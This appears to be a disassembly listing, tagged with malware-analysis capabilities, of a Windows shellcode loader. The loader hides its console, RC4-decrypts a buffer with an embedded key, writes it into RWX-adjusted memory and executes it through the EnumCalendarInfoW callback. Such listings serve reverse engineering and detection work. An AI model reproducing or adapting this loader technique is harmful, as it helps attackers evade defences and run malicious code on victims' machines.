Function at 0x140001280
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
sub rsp, 0x260
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x258], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov r8d, 0x50
lea rcx, [rsp + 0x30]
call fcn.140001070
mov rcx, 0xffffffffffffffff
movups xmm0, xmmword [rax]
movsxd rsi, dword [rax + 8]
mov eax, 8
mul rsi
movups xmmword [rsp + 0x248], xmm0
cmovo rax, rcx
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xor r8d, r8d
lea r10, str.cBVOQWPHEWnUheA9
mov rbp, rax
xor edx, edx
xor eax, eax
xor r9d, r9d
nop dword [rax]
nop dword [rax + rax]
mov ecx, edx
mov byte [rsp + r9 + 0x40], dl
and ecx, 0xf
lea r9, [r9 + 1]
inc edx
movzx ecx, byte [rcx + r10]
mov byte [rsp + r9 + 0x13f], cl
cmp edx, 0x100
jl 0x140001310
xor r9d, r9d
nop dword [rax + rax]
movzx ecx, byte [rsp + r9 + 0x140]
movzx r10d, byte [rsp + r9 + 0x40]
add r8d, ecx
add r8d, r10d
and r8d, 0x800000ff
jge 0x14000136b
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rcx, r8d
movzx edx, byte [rsp + rcx + 0x40]
mov byte [rsp + rcx + 0x40], r10b
mov byte [rsp + r9 + 0x40], dl
inc r9
cmp r9, 0x100
jl 0x140001340
xor r8d, r8d
test esi, esi
jle 0x140001424
mov qword [rsp + 0x270], rdi
mov r9, rbp
mov rdi, qword [rsp + 0x248]
sub rdi, rbp
mov ebx, esi
nop dword [rax]
inc eax
and eax, 0x800000ff
jge 0x1400013c2
dec eax
or eax, 0xffffff00
inc eax
movsxd rcx, eax
lea r10, [rsp + 0x40]
add r10, rcx
movzx r11d, byte [r10]
add r8d, r11d
and r8d, 0x800000ff
jge 0x1400013ea
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rcx, r8d
lea rdx, [rsp + 0x40]
add rdx, rcx
movzx ecx, byte [rdx]
mov byte [rdx], r11b
mov byte [r10], cl
movzx edx, byte [rdx]
add rdx, rcx
movzx ecx, dl
movzx edx, byte [rsp + rcx + 0x40]
xor dl, byte [rdi + r9]
mov byte [r9], dl
inc r9
sub rbx, 1
jne 0x1400013b0
mov rdi, qword [rsp + 0x270]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rdx, [rsp + 0x248]
mov qword [rsp + 0x248], rax
lea rcx, str.Getting_current_process_handle_at:_0x_x_n
call fcn.140001010
mov rcx, qword [rsp + 0x248]
mov r9d, 0x1000
mov r8d, esi
xor edx, edx
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
lea r8, [rsp + 0x240]
mov edx, esi
lea rcx, str.Allocating__ld_bytes_at_0x_x_n
mov qword [rsp + 0x240], rax
call fcn.140001010
mov rcx, qword [rsp + 0x240]
xor r9d, r9d
mov edx, esi
lea r8d, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rdx, [rsp + 0x240]
lea rcx, str.Protect_PAGE_READWRITE_at_0x_x_n
call fcn.140001010
mov rdx, qword [rsp + 0x240]
mov r8, rbp
mov rcx, qword [rsp + 0x248]
mov r9d, esi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea r8, [rsp + 0x240]
mov edx, esi
lea rcx, str.Writing__ld_bytes_at_0x_x_n
call fcn.140001010
mov rcx, qword [rsp + 0x240]
xor r9d, r9d
mov edx, esi
lea r8d, [r9 + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rdx, [rsp + 0x240]
lea rcx, str.Protect_PAGE_EXECUTE_READ_at_0x_x_n
call fcn.140001010
mov rcx, qword [rsp + 0x240]
mov edx, 0x400
mov r9d, 0x15
mov r8d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
xor eax, eax
mov rcx, qword [rsp + 0x258]
xor rcx, rsp
call fcn.140001570
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsp, r11
pop rsi
ret